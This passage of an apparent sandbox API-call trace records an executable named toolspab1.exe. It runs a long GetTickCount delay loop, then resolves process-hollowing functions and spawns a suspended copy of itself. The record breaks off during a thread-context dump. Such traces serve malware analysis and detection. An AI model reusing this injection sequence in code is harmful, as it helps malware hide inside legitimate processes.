0xe93cbd [0229.586] SetLastError (dwErrCode=0x0) [0229.586] GetTickCount () returned 0xe93cbd [0229.586] SetLastError (dwErrCode=0x0) [0229.586] GetTickCount () returned 0xe93cbd [0229.586] SetLastError (dwErrCode=0x0) [0229.586] GetTickCount () returned 0xe93cbd [0229.586] SetLastError (dwErrCode=0x0) [0229.586] GetTickCount () returned 0xe93cbd [0229.586] SetLastError (dwErrCode=0x0) [0229.586] GetTickCount () returned 0xe93cbd [0229.586] SetLastError (dwErrCode=0x0) [0229.586] GetTickCount () returned 0xe93cbd [0229.586] SetLastError (dwErrCode=0x0) [0229.586] GetTickCount () returned 0xe93cbd [0229.586] SetLastError (dwErrCode=0x0) [0229.586] GetTickCount () returned 0xe93cbd [0229.586] SetLastError (dwErrCode=0x0) [0229.586] GetTickCount () returned 0xe93cbd [0229.586] SetLastError (dwErrCode=0x0) [0229.586] GetTickCount () returned 0xe93cbd [0229.586] SetLastError (dwErrCode=0x0) [0229.586] GetTickCount () returned 0xe93cbd [0229.587] SetLastError (dwErrCode=0x0) [0229.587] GetTickCount () returned 0xe93cbd [0229.587] SetLastError (dwErrCode=0x0) [0229.587] GetTickCount () returned 0xe93cbd [0229.587] SetLastError (dwErrCode=0x0) [0229.587] GetTickCount () returned 0xe93cbd [0229.587] SetLastError (dwErrCode=0x0) [0229.587] GetTickCount () returned 0xe93cbd [0229.587] SetLastError (dwErrCode=0x0) [0229.587] GetTickCount () returned 0xe93cbd [0229.587] SetLastError (dwErrCode=0x0) [0229.587] GetTickCount () returned 0xe93cbd [0229.587] SetLastError (dwErrCode=0x0) [0229.587] GetTickCount () returned 0xe93cbd [0229.587] SetLastError (dwErrCode=0x0) [0229.587] GetTickCount () returned 0xe93cbd [0229.587] SetLastError (dwErrCode=0x0) [0229.587] GetTickCount () returned 0xe93cbd [0229.587] SetLastError (dwErrCode=0x0) [0229.587] GetTickCount () returned 0xe93cbd [0229.587] SetLastError (dwErrCode=0x0) [0229.587] GetTickCount () returned 0xe93cbd [0229.587] SetLastError (dwErrCode=0x0) [0229.587] GetTickCount () returned 0xe93cbd [0229.587] SetLastError (dwErrCode=0x0) [0229.587] GetTickCount () returned 0xe93cbd [0229.587] SetLastError (dwErrCode=0x0) [0229.587] GetTickCount () returned 0xe93cbd [0229.587] SetLastError (dwErrCode=0x0) [0229.587] GetTickCount () returned 0xe93cbd [0229.587] SetLastError (dwErrCode=0x0) [0229.587] GetTickCount () returned 0xe93cbd [0229.587] SetLastError (dwErrCode=0x0) [0229.587] GetTickCount () returned 0xe93cbd [0229.587] SetLastError (dwErrCode=0x0) [0229.587] GetTickCount () returned 0xe93cbd [0229.587] SetLastError (dwErrCode=0x0) [0229.587] GetTickCount () returned 0xe93cbd [0229.587] SetLastError (dwErrCode=0x0) [0229.587] GetTickCount () returned 0xe93cbd [0229.588] SetLastError (dwErrCode=0x0) [0229.588] GetTickCount () returned 0xe93cbd [0229.588] SetLastError (dwErrCode=0x0) [0229.588] GetTickCount () returned 0xe93cbd [0229.588] SetLastError (dwErrCode=0x0) [0229.588] GetTickCount () returned 0xe93cbd [0229.588] SetLastError (dwErrCode=0x0) [0229.588] GetTickCount () returned 0xe93cbd [0229.588] SetLastError (dwErrCode=0x0) [0229.588] GetTickCount () returned 0xe93cbd [0229.588] SetLastError (dwErrCode=0x0) [0229.588] GetTickCount () returned 0xe93cbd [0229.588] SetLastError (dwErrCode=0x0) [0229.588] GetTickCount () returned 0xe93cbd [0229.588] SetLastError (dwErrCode=0x0) [0229.588] GetTickCount () returned 0xe93cbd [0229.588] SetLastError (dwErrCode=0x0) [0229.588] GetTickCount () returned 0xe93cbd [0229.588] SetLastError (dwErrCode=0x0) [0229.588] GetTickCount () returned 0xe93cbd [0229.588] SetLastError (dwErrCode=0x0) [0229.588] GetTickCount () returned 0xe93cbd [0229.588] SetLastError (dwErrCode=0x0) [0229.588] GetTickCount () returned 0xe93cbd [0229.588] SetLastError (dwErrCode=0x0) [0229.588] GetTickCount () returned 0xe93cbd [0229.588] SetLastError (dwErrCode=0x0) [0229.588] GetTickCount () returned 0xe93cbd [0229.588] SetLastError (dwErrCode=0x0) [0229.588] GetTickCount () returned 0xe93cbd [0229.588] SetLastError (dwErrCode=0x0) [0229.588] GetTickCount () returned 0xe93cbd [0229.588] SetLastError (dwErrCode=0x0) [0229.588] GetTickCount () returned 0xe93cbd [0229.588] SetLastError (dwErrCode=0x0) [0229.588] GetTickCount () returned 0xe93cbd [0229.588] SetLastError (dwErrCode=0x0) [0229.588] GetTickCount () returned 0xe93cbd [0229.588] SetLastError (dwErrCode=0x0) [0229.588] GetTickCount () returned 0xe93cbd [0229.589] SetLastError (dwErrCode=0x0) [0229.589] GetTickCount () returned 0xe93cbd [0229.589] SetLastError (dwErrCode=0x0) [0229.589] GetTickCount () returned 0xe93cbd [0229.589] SetLastError (dwErrCode=0x0) [0229.589] GetTickCount () returned 0xe93cbd [0229.589] SetLastError (dwErrCode=0x0) [0229.589] GetTickCount () returned 0xe93cbd [0229.589] SetLastError (dwErrCode=0x0) [0229.589] GetTickCount () returned 0xe93cbd [0229.589] SetLastError (dwErrCode=0x0) [0229.589] GetTickCount () returned 0xe93cbd [0229.589] SetLastError (dwErrCode=0x0) [0229.589] GetTickCount () returned 0xe93cbd [0229.589] SetLastError (dwErrCode=0x0) [0229.589] GetTickCount () returned 0xe93cbd [0229.589] SetLastError (dwErrCode=0x0) [0229.589] GetTickCount () returned 0xe93cbd [0229.589] SetLastError (dwErrCode=0x0) [0229.589] GetTickCount () returned 0xe93cbd [0229.589] SetLastError (dwErrCode=0x0) [0229.589] GetTickCount () returned 0xe93cbd [0229.589] SetLastError (dwErrCode=0x0) [0229.589] GetTickCount () returned 0xe93cbd [0229.589] SetLastError (dwErrCode=0x0) [0229.589] GetTickCount () returned 0xe93cbd [0229.589] SetLastError (dwErrCode=0x0) [0229.589] GetTickCount () returned 0xe93cbd [0229.589] SetLastError (dwErrCode=0x0) [0229.589] GetTickCount () returned 0xe93cbd [0229.589] SetLastError (dwErrCode=0x0) [0229.589] GetTickCount () returned 0xe93cbd [0229.589] SetLastError (dwErrCode=0x0) [0229.589] GetTickCount () returned 0xe93cbd [0229.589] SetLastError (dwErrCode=0x0) [0229.589] GetTickCount () returned 0xe93cbd [0229.589] SetLastError (dwErrCode=0x0) [0229.589] GetTickCount () returned 0xe93cbd [0229.589] SetLastError (dwErrCode=0x0) [0229.589] GetTickCount () returned 0xe93cbd [0229.590] SetLastError (dwErrCode=0x0) [0229.590] GetTickCount () returned 0xe93cbd [0229.590] SetLastError (dwErrCode=0x0) [0229.590] GetTickCount () returned 0xe93cbd [0229.590] SetLastError (dwErrCode=0x0) [0229.590] GetTickCount () returned 0xe93cbd [0229.590] SetLastError (dwErrCode=0x0) [0229.590] GetTickCount () returned 0xe93cbd [0229.590] SetLastError (dwErrCode=0x0) [0229.590] GetTickCount () returned 0xe93cbd [0229.590] SetLastError (dwErrCode=0x0) [0229.590] GetTickCount () returned 0xe93cbd [0229.590] SetLastError (dwErrCode=0x0) [0229.590] GetTickCount () returned 0xe93cbd [0229.590] SetLastError (dwErrCode=0x0) [0229.590] GetTickCount () returned 0xe93cbd [0229.590] SetLastError (dwErrCode=0x0) [0229.590] GetTickCount () returned 0xe93cbd [0229.590] SetLastError (dwErrCode=0x0) [0229.590] GetTickCount () returned 0xe93cbd [0229.590] SetLastError (dwErrCode=0x0) [0229.590] GetTickCount () returned 0xe93cbd [0229.590] SetLastError (dwErrCode=0x0) [0229.590] GetTickCount () returned 0xe93cbd [0229.590] SetLastError (dwErrCode=0x0) [0229.590] GetTickCount () returned 0xe93cbd [0229.590] SetLastError (dwErrCode=0x0) [0229.590] GetTickCount () returned 0xe93cbd [0229.590] SetLastError (dwErrCode=0x0) [0229.590] GetTickCount () returned 0xe93cbd [0229.590] SetLastError (dwErrCode=0x0) [0229.590] GetTickCount () returned 0xe93cbd [0229.590] SetLastError (dwErrCode=0x0) [0229.590] GetTickCount () returned 0xe93cbd [0229.590] SetLastError (dwErrCode=0x0) [0229.590] GetTickCount () returned 0xe93cbd [0229.590] SetLastError (dwErrCode=0x0) [0229.590] GetTickCount () returned 0xe93cbd [0229.591] SetLastError (dwErrCode=0x0) [0229.591] GetTickCount () returned 0xe93cbd [0229.591] SetLastError (dwErrCode=0x0) [0229.591] GetTickCount () returned 0xe93cbd [0229.591] SetLastError (dwErrCode=0x0) [0229.591] GetTickCount () returned 0xe93cbd [0229.591] SetLastError (dwErrCode=0x0) [0229.591] GetTickCount () returned 0xe93cbd [0229.591] SetLastError (dwErrCode=0x0) [0229.591] GetTickCount () returned 0xe93cbd [0229.591] SetLastError (dwErrCode=0x0) [0229.591] GetTickCount () returned 0xe93cbd [0229.591] SetLastError (dwErrCode=0x0) [0229.591] GetTickCount () returned 0xe93cbd [0229.591] SetLastError (dwErrCode=0x0) [0229.591] GetTickCount () returned 0xe93cbd [0229.591] SetLastError (dwErrCode=0x0) [0229.591] GetTickCount () returned 0xe93cbd [0229.591] SetLastError (dwErrCode=0x0) [0229.591] GetTickCount () returned 0xe93cbd [0229.591] SetLastError (dwErrCode=0x0) [0229.591] GetTickCount () returned 0xe93cbd [0229.591] SetLastError (dwErrCode=0x0) [0229.591] GetTickCount () returned 0xe93cbd [0229.591] SetLastError (dwErrCode=0x0) [0229.591] GetTickCount () returned 0xe93cbd [0229.591] SetLastError (dwErrCode=0x0) [0229.591] GetTickCount () returned 0xe93cbd [0229.591] SetLastError (dwErrCode=0x0) [0229.591] GetTickCount () returned 0xe93cbd [0229.591] SetLastError (dwErrCode=0x0) [0229.591] GetTickCount () returned 0xe93cbd [0229.591] SetLastError (dwErrCode=0x0) [0229.591] GetTickCount () returned 0xe93cbd [0229.591] SetLastError (dwErrCode=0x0) [0229.591] GetTickCount () returned 0xe93cbd [0229.591] SetLastError (dwErrCode=0x0) [0229.591] GetTickCount () returned 0xe93cbd [0229.591] SetLastError (dwErrCode=0x0) [0229.592] GetTickCount () returned 0xe93cbd [0229.592] SetLastError (dwErrCode=0x0) [0229.592] GetTickCount () returned 0xe93cbd [0229.592] SetLastError (dwErrCode=0x0) [0229.592] GetTickCount () returned 0xe93cbd [0229.592] SetLastError (dwErrCode=0x0) [0229.592] GetTickCount () returned 0xe93cbd [0229.592] SetLastError (dwErrCode=0x0) [0229.592] GetTickCount () returned 0xe93cbd [0229.592] SetLastError (dwErrCode=0x0) [0229.592] GetTickCount () returned 0xe93cbd [0229.592] SetLastError (dwErrCode=0x0) [0229.592] GetTickCount () returned 0xe93cbd [0229.592] SetLastError (dwErrCode=0x0) [0229.592] GetTickCount () returned 0xe93cbd [0229.592] SetLastError (dwErrCode=0x0) [0229.592] GetTickCount () returned 0xe93cbd [0229.592] SetLastError (dwErrCode=0x0) [0229.592] GetTickCount () returned 0xe93cbd [0229.592] SetLastError (dwErrCode=0x0) [0229.592] GetTickCount () returned 0xe93cbd [0229.592] SetLastError (dwErrCode=0x0) [0229.592] GetTickCount () returned 0xe93cbd [0229.592] SetLastError (dwErrCode=0x0) [0229.592] GetTickCount () returned 0xe93cbd [0229.592] SetLastError (dwErrCode=0x0) [0229.592] GetTickCount () returned 0xe93cbd [0229.592] SetLastError (dwErrCode=0x0) [0229.592] GetTickCount () returned 0xe93cbd [0229.592] SetLastError (dwErrCode=0x0) [0229.592] GetTickCount () returned 0xe93cbd [0229.592] SetLastError (dwErrCode=0x0) [0229.592] GetTickCount () returned 0xe93cbd [0229.592] SetLastError (dwErrCode=0x0) [0229.592] GetTickCount () returned 0xe93cbd [0229.592] SetLastError (dwErrCode=0x0) [0229.592] GetTickCount () returned 0xe93cbd [0229.592] SetLastError (dwErrCode=0x0) [0229.593] GetTickCount () returned 0xe93cbd [0229.593] SetLastError (dwErrCode=0x0) [0229.593] GetTickCount () returned 0xe93cbd [0229.593] SetLastError (dwErrCode=0x0) [0229.593] GetTickCount () returned 0xe93cbd [0229.593] SetLastError (dwErrCode=0x0) [0229.593] GetTickCount () returned 0xe93cbd [0229.593] SetLastError (dwErrCode=0x0) [0229.593] GetTickCount () returned 0xe93cbd [0229.593] SetLastError (dwErrCode=0x0) [0229.593] GetTickCount () returned 0xe93cbd [0229.593] SetLastError (dwErrCode=0x0) [0229.593] GetTickCount () returned 0xe93cbd [0229.593] SetLastError (dwErrCode=0x0) [0229.593] GetTickCount () returned 0xe93cbd [0229.593] SetLastError (dwErrCode=0x0) [0229.593] GetTickCount () returned 0xe93cbd [0229.593] SetLastError (dwErrCode=0x0) [0229.593] GetTickCount () returned 0xe93cbd [0229.593] SetLastError (dwErrCode=0x0) [0229.593] GetTickCount () returned 0xe93cbd [0229.593] SetLastError (dwErrCode=0x0) [0229.593] GetTickCount () returned 0xe93cbd [0229.593] SetLastError (dwErrCode=0x0) [0229.593] GetTickCount () returned 0xe93cbd [0229.593] SetLastError (dwErrCode=0x0) [0229.593] GetTickCount () returned 0xe93cbd [0229.593] SetLastError (dwErrCode=0x0) [0229.593] GetTickCount () returned 0xe93cbd [0229.594] SetLastError (dwErrCode=0x0) [0229.594] GetTickCount () returned 0xe93cbd [0229.594] SetLastError (dwErrCode=0x0) [0229.594] GetTickCount () returned 0xe93cbd [0229.594] SetLastError (dwErrCode=0x0) [0229.594] GetTickCount () returned 0xe93cbd [0229.594] SetLastError (dwErrCode=0x0) [0229.594] GetTickCount () returned 0xe93cbd [0229.594] SetLastError (dwErrCode=0x0) [0229.594] GetTickCount () returned 0xe93cbd [0229.594] SetLastError (dwErrCode=0x0) [0229.594] GetTickCount () returned 0xe93cbd [0229.594] SetLastError (dwErrCode=0x0) [0229.594] GetTickCount () returned 0xe93cbd [0229.594] SetLastError (dwErrCode=0x0) [0229.594] GetTickCount () returned 0xe93cbd [0229.594] SetLastError (dwErrCode=0x0) [0229.594] GetTickCount () returned 0xe93cbd [0229.594] SetLastError (dwErrCode=0x0) [0229.594] GetTickCount () returned 0xe93cbd [0229.594] SetLastError (dwErrCode=0x0) [0229.594] GetTickCount () returned 0xe93cbd [0229.594] SetLastError (dwErrCode=0x0) [0229.594] GetTickCount () returned 0xe93cbd [0229.594] SetLastError (dwErrCode=0x0) [0229.594] GetTickCount () returned 0xe93cbd [0229.594] SetLastError (dwErrCode=0x0) [0229.594] GetTickCount () returned 0xe93cbd [0229.594] SetLastError (dwErrCode=0x0) [0229.594] GetTickCount () returned 0xe93cbd [0229.594] SetLastError (dwErrCode=0x0) [0229.594] GetTickCount () returned 0xe93cbd [0229.594] SetLastError (dwErrCode=0x0) [0229.594] GetTickCount () returned 0xe93cbd [0229.594] SetLastError (dwErrCode=0x0) [0229.594] GetTickCount () returned 0xe93cbd [0229.594] SetLastError (dwErrCode=0x0) [0229.594] GetTickCount () returned 0xe93cbd [0229.595] SetLastError (dwErrCode=0x0) [0229.595] GetTickCount () returned 0xe93cbd [0229.595] SetLastError (dwErrCode=0x0) [0229.595] GetTickCount () returned 0xe93cbd [0229.595] SetLastError (dwErrCode=0x0) [0229.597] GetTickCount () returned 0xe93cbd [0229.597] SetLastError (dwErrCode=0x0) [0229.597] GetTickCount () returned 0xe93cbd [0229.597] SetLastError (dwErrCode=0x0) [0229.597] GetTickCount () returned 0xe93cbd [0229.597] SetLastError (dwErrCode=0x0) [0229.597] GetTickCount () returned 0xe93cbd [0229.597] SetLastError (dwErrCode=0x0) [0229.597] GetTickCount () returned 0xe93cbd [0229.597] SetLastError (dwErrCode=0x0) [0229.597] GetTickCount () returned 0xe93cbd [0229.597] SetLastError (dwErrCode=0x0) [0229.597] GetTickCount () returned 0xe93cbd [0229.597] SetLastError (dwErrCode=0x0) [0229.597] GetTickCount () returned 0xe93cbd [0229.597] SetLastError (dwErrCode=0x0) [0229.597] GetTickCount () returned 0xe93cbd [0229.597] SetLastError (dwErrCode=0x0) [0229.597] GetTickCount () returned 0xe93cbd [0229.597] SetLastError (dwErrCode=0x0) [0229.597] GetTickCount () returned 0xe93cbd [0229.597] SetLastError (dwErrCode=0x0) [0229.597] GetTickCount () returned 0xe93cbd [0229.597] SetLastError (dwErrCode=0x0) [0229.597] GetTickCount () returned 0xe93cbd [0229.597] SetLastError (dwErrCode=0x0) [0229.597] GetTickCount () returned 0xe93cbd [0229.597] SetLastError (dwErrCode=0x0) [0229.597] GetTickCount () returned 0xe93cbd [0229.597] SetLastError (dwErrCode=0x0) [0229.597] GetTickCount () returned 0xe93cbd [0229.597] SetLastError (dwErrCode=0x0) [0229.597] GetTickCount () returned 0xe93cbd [0229.597] SetLastError (dwErrCode=0x0) [0229.597] GetTickCount () returned 0xe93cbd [0229.597] SetLastError (dwErrCode=0x0) [0229.655] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x74f30000 [0229.655] GetProcAddress (hModule=0x74f30000, lpProcName="GlobalAlloc") returned 0x74f49950 [0229.656] GetProcAddress (hModule=0x74f30000, lpProcName="GetLastError") returned 0x74f43870 [0229.656] GetProcAddress (hModule=0x74f30000, lpProcName="Sleep") returned 0x74f47990 [0229.656] GetProcAddress (hModule=0x74f30000, lpProcName="VirtualAlloc") returned 0x74f47810 [0229.656] GetProcAddress (hModule=0x74f30000, lpProcName="CreateToolhelp32Snapshot") returned 0x74f57b50 [0229.656] GetProcAddress (hModule=0x74f30000, lpProcName="Module32First") returned 0x74f744b0 [0229.656] GetProcAddress (hModule=0x74f30000, lpProcName="CloseHandle") returned 0x74f56630 [0229.658] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x98 [0229.668] Module32First (hSnapshot=0x98, lpme=0x19c408) returned 1 [0229.668] VirtualAlloc (lpAddress=0x0, dwSize=0x89a0, flAllocationType=0x1000, flProtect=0x40) returned 0x30000 [0229.671] LoadLibraryA (lpLibFileName="user32") returned 0x750d0000 [0231.125] GetProcAddress (hModule=0x750d0000, lpProcName="MessageBoxA") returned 0x7514fec0 [0231.125] GetProcAddress (hModule=0x750d0000, lpProcName="GetMessageExtraInfo") returned 0x75103690 [0231.125] LoadLibraryA (lpLibFileName="kernel32") returned 0x74f30000 [0231.125] GetProcAddress (hModule=0x74f30000, lpProcName="WinExec") returned 0x74f6ff70 [0231.126] GetProcAddress (hModule=0x74f30000, lpProcName="CreateFileA") returned 0x74f56880 [0231.126] GetProcAddress (hModule=0x74f30000, lpProcName="WriteFile") returned 0x74f56ca0 [0231.126] GetProcAddress (hModule=0x74f30000, lpProcName="CloseHandle") returned 0x74f56630 [0231.126] GetProcAddress (hModule=0x74f30000, lpProcName="CreateProcessA") returned 0x74f70750 [0231.126] GetProcAddress (hModule=0x74f30000, lpProcName="GetThreadContext") returned 0x74f4ec60 [0231.126] GetProcAddress (hModule=0x74f30000, lpProcName="VirtualAlloc") returned 0x74f47810 [0231.126] GetProcAddress (hModule=0x74f30000, lpProcName="VirtualAllocEx") returned 0x74f72730 [0231.126] GetProcAddress (hModule=0x74f30000, lpProcName="VirtualFree") returned 0x74f47600 [0231.126] GetProcAddress (hModule=0x74f30000, lpProcName="ReadProcessMemory") returned 0x74f71c80 [0231.126] GetProcAddress (hModule=0x74f30000, lpProcName="WriteProcessMemory") returned 0x74f72850 [0231.126] GetProcAddress (hModule=0x74f30000, lpProcName="SetThreadContext") returned 0x74f72490 [0231.126] GetProcAddress (hModule=0x74f30000, lpProcName="ResumeThread") returned 0x74f4a800 [0231.126] GetProcAddress (hModule=0x74f30000, lpProcName="WaitForSingleObject") returned 0x74f56820 [0231.126] GetProcAddress (hModule=0x74f30000, lpProcName="GetModuleFileNameA") returned 0x74f4a720 [0231.127] GetProcAddress (hModule=0x74f30000, lpProcName="GetCommandLineA") returned 0x74f4ab60 [0231.127] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77b90000 [0231.127] GetProcAddress (hModule=0x77b90000, lpProcName="NtUnmapViewOfSection") returned 0x77c06f40 [0231.127] GetProcAddress (hModule=0x77b90000, lpProcName="NtWriteVirtualMemory") returned 0x77c07040 [0231.127] GetProcAddress (hModule=0x750d0000, lpProcName="RegisterClassExA") returned 0x75104e90 [0231.127] GetProcAddress (hModule=0x750d0000, lpProcName="CreateWindowExA") returned 0x75106f30 [0231.127] GetProcAddress (hModule=0x750d0000, lpProcName="PostMessageA") returned 0x750ff0e0 [0231.127] GetProcAddress (hModule=0x750d0000, lpProcName="GetMessageA") returned 0x750fe130 [0231.127] GetProcAddress (hModule=0x750d0000, lpProcName="DefWindowProcA") returned 0x77c1aed0 [0231.127] GetProcAddress (hModule=0x74f30000, lpProcName="GetFileAttributesA") returned 0x74f56a20 [0231.127] GetProcAddress (hModule=0x74f30000, lpProcName="GetStartupInfoA") returned 0x74f49c10 [0231.128] GetProcAddress (hModule=0x74f30000, lpProcName="VirtualProtectEx") returned 0x74f72790 [0231.128] GetProcAddress (hModule=0x74f30000, lpProcName="ExitProcess") returned 0x74f57b30 [0231.128] GetFileAttributesA (lpFileName="apfHQ" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\apfhq")) returned 0xffffffff [0231.128] GetFileAttributesA (lpFileName="apfHQ" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\apfhq")) returned 0xffffffff [0231.128] GetFileAttributesA (lpFileName="apfHQ" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\apfhq")) returned 0xffffffff [0231.128] RegisterClassExA (param_1=0x19c0c4) returned 0xc1d7 [0231.129] CreateWindowExA (dwExStyle=0x200, lpClassName="saodkfnosa9uin", lpWindowName="mfoaskdfnoa", dwStyle=0xcf0000, X=-2147483648, Y=-2147483648, nWidth=1000, nHeight=1000, hWndParent=0x0, hMenu=0x0, hInstance=0x0, lpParam=0x0) returned 0x901f6 [0236.835] PostMessageA (hWnd=0x901f6, Msg=0x400, wParam=0x64, lParam=0x1f4) returned 1 [0236.836] GetMessageA (in: lpMsg=0x19c0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19c0f4) returned 1 [0236.837] GetMessageA (in: lpMsg=0x19c0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19c0f4) returned 1 [0236.837] VirtualAlloc (lpAddress=0x0, dwSize=0x2800, flAllocationType=0x1000, flProtect=0x4) returned 0x7c0000 [0236.837] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x7c0000, nSize=0x2800 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\toolspab1.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\toolspab1.exe")) returned 0x2b [0236.837] GetStartupInfoA (in: lpStartupInfo=0x19c018 | out: lpStartupInfo=0x19c018*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\Desktop\\toolspab1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0236.837] GetCommandLineA () returned="\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\toolspab1.exe\" " [0236.837] CreateProcessA (in: lpApplicationName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\toolspab1.exe", lpCommandLine="\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\toolspab1.exe\" ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000004, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x19c018*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\Desktop\\toolspab1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0), lpProcessInformation=0x19c070 | out: lpCommandLine="\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\toolspab1.exe\" ", lpProcessInformation=0x19c070*(hProcess=0x110, hThread=0x10c, dwProcessId=0x117c, dwThreadId=0x1180)) returned 1 [0237.732] VirtualFree (lpAddress=0x7c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0237.732] VirtualAlloc (lpAddress=0x0, dwSize=0x4, flAllocationType=0x1000, flProtect=0x4) returned 0x7c0000 [0237.733] GetThreadContext (in: hThread=0x10c, lpContext=0x7c0000 | out: lpContext=0x7c0000*(ContextFlags=0x10007, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x2b, SegFs=0x53, SegEs=0x2b, SegDs=0x2b, Edi=0x0, Esi=0x0, Ebx=0x203000, Edx=0x0, Ecx=0x0, Eax=0x4248e0, Ebp=0x0, Eip=0x77c08fe0, SegCs=0x23, EFlags=0x202, Esp=0x19fff0, SegSs=0x2b, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, 